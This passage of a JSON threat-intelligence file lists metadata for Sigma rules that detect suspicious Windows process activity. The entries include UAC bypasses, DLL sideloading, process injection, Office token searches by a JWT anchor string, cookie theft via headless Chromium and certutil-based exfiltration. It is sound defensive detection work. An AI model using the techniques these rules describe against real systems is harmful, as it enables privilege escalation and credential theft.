      "description": "Detects suspicious child processes of the \"Manage Engine ServiceDesk Plus\" Java web service",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/01/18",
        "falsepositive": [
          "Legitimate sub processes started by Manage Engine ServiceDesk Pro"
        ],
        "filename": "proc_creation_win_java_manageengine_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/",
          "https://github.com/horizon3ai/CVE-2022-47966/blob/3a51c6b72ebbd87392babd955a8fbeaee2090b35/CVE-2022-47966.py",
          "https://blog.viettelcybersecurity.com/saml-show-stopper/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_manageengine_susp_child_process.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "cea2b7ea-792b-405f-95a1-b903ea06458f",
      "value": "Suspicious Child Process Of Manage Engine ServiceDesk"
    },
    {
      "description": "Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule",
      "meta": {
        "author": "Florian Roth (Nextron Systems), omkar72, oscd.community, Swachchhanda Shrawan Poudel",
        "creation_date": "2019/01/29",
        "falsepositive": [
          "Legitimate administration activity",
          "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)"
        ],
        "filename": "proc_creation_win_netsh_port_forwarding.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html",
          "https://adepts.of0x.cc/netsh-portproxy-code/",
          "https://www.dfirnotes.net/portproxy_detection/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.defense_evasion",
          "attack.command_and_control",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "322ed9ec-fcab-4f67-9a34-e7c6aef43614",
      "value": "New Port Forwarding Rule Added Via Netsh.EXE"
    },
    {
      "description": "Detects execution of the \"VMwareToolBoxCmd.exe\" with the \"script\" and \"set\" flag to setup a specific script to run for a specific VM state",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_vmware_toolbox_cmd_persistence.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/",
          "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_toolbox_cmd_persistence.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7aa4e81a-a65c-4e10-9f81-b200eb229d7d",
      "value": "Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script"
    },
    {
      "description": "Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools",
      "meta": {
        "author": "Markus Neis",
        "creation_date": "2017/08/28",
        "falsepositive": [
          "Legitimate use of SysInternals tools",
          "Programs that use the same command line flag"
        ],
        "filename": "proc_creation_win_sysinternals_eula_accepted.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Moti_B/status/1008587936735035392",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7cccd811-7ae9-4ebe-9afd-cb5c406b824b",
      "value": "Potential Execution of Sysinternals Tools"
    },
    {
      "description": "Detects the creation of a schtask that executes a file from C:\\Users\\<USER>\\AppData\\Local",
      "meta": {
        "author": "pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/03/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_appdata_local_system.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1053.005",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c5c00f49-b3f9-45a6-997e-cfdecc6e1967",
      "value": "Suspicious Schtasks Execution AppData Folder"
    },
    {
      "description": "Detects execution of powershell scripts via Runscripthelper.exe",
      "meta": {
        "author": "Victor Sergeev, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_runscripthelper.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runscripthelper.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059",
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "eca49c87-8a75-4f13-9c73-a5a29e845f03",
      "value": "Suspicious Runscripthelper.exe"
    },
    {
      "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_cleanmgr.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b697e69c-746f-4a86-9f59-7bfff8eab881",
      "value": "UAC Bypass Using Disk Cleanup"
    },
    {
      "description": "Detect execution of suspicious double extension files in ParentCommandLine",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_double_extension_parent.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/7872d8845a332dce517adae9c3389fde5313ff2fed38c2577f3b498da786db68/behavior",
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension_parent.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5e6a80c8-2d45-4633-9ef4-fa2671a39c5c",
      "value": "Suspicious Parent Double Extension File Execution"
    },
    {
      "description": "Detects suspicious process injection using ZOHO's dctask64.exe",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/01/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_dctask64_proc_inject.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/gN3mes1s/status/1222095963789111296",
          "https://twitter.com/gN3mes1s/status/1222088214581825540",
          "https://twitter.com/gN3mes1s/status/1222095371175911424",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dctask64_proc_inject.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6345b048-8441-43a7-9bed-541133633d7a",
      "value": "ZOHO Dctask64 Process Injection"
    },
    {
      "description": "Detects the pattern of UAC Bypass using Event Viewer RecentViews",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_eventvwr_recentviews.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute",
          "https://twitter.com/orange_8361/status/1518970259868626944",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr_recentviews.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "30fc8de7-d833-40c4-96b6-28319fbc4f6c",
      "value": "UAC Bypass Using Event Viewer RecentViews"
    },
    {
      "description": "Detects the import of a alternate datastream to the registry with regedit.exe.",
      "meta": {
        "author": "Oddvar Moe, Sander Wiebing, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_regedit_import_keys_ads.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://lolbas-project.github.io/lolbas/Binaries/Regedit/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml"
        ],
        "tags": [
          "attack.t1112",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0b80ade5-6997-4b1d-99a1-71701778ea61",
      "value": "Imports Registry Key From an ADS"
    },
    {
      "description": "Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)",
      "meta": {
        "author": "Jason Lynch",
        "creation_date": "2019/04/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_spawn_exe_from_users_directory.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign",
          "https://www.virustotal.com/gui/file/23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002",
          "attack.g0046",
          "car.2013-05-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aa3a6f94-890e-4e22-b634-ffdfd54792cc",
      "value": "Suspicious Binary In User Directory Spawned From Office Application"
    },
    {
      "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.",
      "meta": {
        "author": "Janantha Marasinghe",
        "creation_date": "2020/09/26",
        "falsepositive": [
          "This may have false positives on hosts where Virtualbox is legitimately being used for operations"
        ],
        "filename": "proc_creation_win_virtualbox_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
          "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.006",
          "attack.t1564"
        ]
      },
      "related": [
        {
          "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bab049ca-7471-4828-9024-38279a4c04da",
      "value": "Detect Virtualbox Driver Installation OR Starting Of VMs"
    },
    {
      "description": "Detects execution of Windows Defender \"OfflineScannerShell.exe\" from its non standard directory.\nThe \"OfflineScannerShell.exe\" binary is vulnerable to DLL side loading and will load any DLL named \"mpclient.dll\" from the current working directory.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_offlinescannershell_mpclient_sideloading.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_offlinescannershell_mpclient_sideloading.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "02b18447-ea83-4b1b-8805-714a8a34546a",
      "value": "Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution"
    },
    {
      "description": "Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_browsers_chromium_headless_debugging.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/defaultnamehere/cookie_crimes/",
          "https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/",
          "https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/",
          "https://mango.pdf.zone/stealing-chrome-cookies-without-a-password",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_debugging.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1185"
        ]
      },
      "related": [
        {
          "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3e8207c5-fcd2-4ea6-9418-15d45b4890e4",
      "value": "Potential Data Stealing Via Chromium Headless Debugging"
    },
    {
      "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_office_token_search.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://mrd0x.com/stealing-tokens-from-office-applications/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1528"
        ]
      },
      "related": [
        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6d3a3952-6530-44a3-8554-cf17c116c615",
      "value": "Suspicious Office Token Search Via CLI"
    },
    {
      "description": "Detects potential malicious and unauthorized usage of bcdedit.exe",
      "meta": {
        "author": "@neu5ron",
        "creation_date": "2019/02/07",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_bcdedit_susp_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set",
          "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_susp_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070",
          "attack.persistence",
          "attack.t1542.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c9fbe8e9-119d-40a6-9b59-dd58a5d84429",
      "value": "Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE"
    },
    {
      "description": "Detect the usage of \"DirLister.exe\" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/20",
        "falsepositive": [
          "Legitimate use by users"
        ],
        "filename": "proc_creation_win_dirlister_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md",
          "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1083"
        ]
      },
      "related": [
        {
          "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b4dc61f5-6cce-468e-a608-b48b469feaa2",
      "value": "DirLister Execution"
    },
    {
      "description": "The Devtoolslauncher.exe executes other binary",
      "meta": {
        "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)",
        "creation_date": "2019/10/12",
        "falsepositive": [
          "Legitimate use of devtoolslauncher.exe by legitimate user"
        ],
        "filename": "proc_creation_win_lolbin_devtoolslauncher.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/",
          "https://twitter.com/_felamos/status/1179811992841797632",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6",
      "value": "Devtoolslauncher.exe Executes Specified Binary"
    },
    {
      "description": "Detects the execution of certutil with the \"encode\" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/02/24",
        "falsepositive": [
          "As this is a general purpose rule, legitimate usage of the encode functionality will trigger some false positives. Apply additional filters accordingly"
        ],
        "filename": "proc_creation_win_certutil_encode.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil",
          "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a",
      "value": "File Encoded To Base64 Via Certutil.EXE"
    },
    {
      "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level",
      "meta": {
        "author": "Teymur Kheirkhabarov",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_privilege_escalation_via_service_key.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/",
          "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_privilege_escalation_via_service_key.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0f9c21f1-6a73-4b0e-9809-cb562cb8d981",
      "value": "Potential Privilege Escalation via Service Permissions Weakness"
    },
    {
      "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_renamed_rundll32_dllregisterserver.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20",
          "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "2569ed8c-1147-498a-9b8c-2ad3656b10ed",
      "value": "Potential Renamed Rundll32 Execution"
    },
    {
      "description": "Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/06/25",
        "falsepositive": [
          "Legitimate software creating script event consumers"
        ],
        "filename": "proc_creation_win_wmic_eventconsumer_creation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/johnlatwc/status/1408062131321270282?s=12",
          "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.003"
        ]
      },
      "related": [
        {
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      "value": "New ActiveScriptEventConsumer Created Via Wmic.EXE"
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      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/05/22",
        "falsepositive": [
          "Weird admins that rename their tools",
          "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing"
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        "filename": "proc_creation_win_sysinternals_susp_psexec_paexec_flags.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec",
          "https://www.poweradmin.com/paexec/",
          "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
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      "uuid": "207b0396-3689-42d9-8399-4222658efc99",
      "value": "Potential Privilege Escalation To LOCAL SYSTEM"
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      "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand",
      "meta": {
        "author": "Teymur Kheirkhabarov",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sc_change_sevice_image_path_by_non_admin.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2017/03/30/weak-service-permissions/",
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        ],
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_susp_shimcache_flush.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
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        ],
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      "value": "ShimCache Flush"
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        "falsepositive": [
          "During Anaconda update the 'conda.exe' process will eventually execution the 'chcp' command.",
          "Discord was seen using chcp to look up code pages"
        ],
        "filename": "proc_creation_win_chcp_codepage_lookup.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
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        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_sharpersist.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit",
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        ],
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          "attack.t1053"
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      "meta": {
        "author": "Markus Neis, Sander Wiebing",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_file_characteristics.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://securelist.com/muddywater/88059/",
          "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml"
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      },
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wscript_cscript_uncommon_extension_exec.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_uncommon_extension_exec.yml"
        ],
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      },
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          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
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      "value": "Cscript/Wscript Uncommon Script Extension Execution"
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/13",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_pua_3proxy_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/3proxy/3proxy",
          "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_3proxy_execution.yml"
        ],
        "tags": [
          "attack.command_and_control",
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      },
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          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
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      "uuid": "f38a82d2-fba3-4781-b549-525efbec8506",
      "value": "PUA - 3Proxy Execution"
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      "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth",
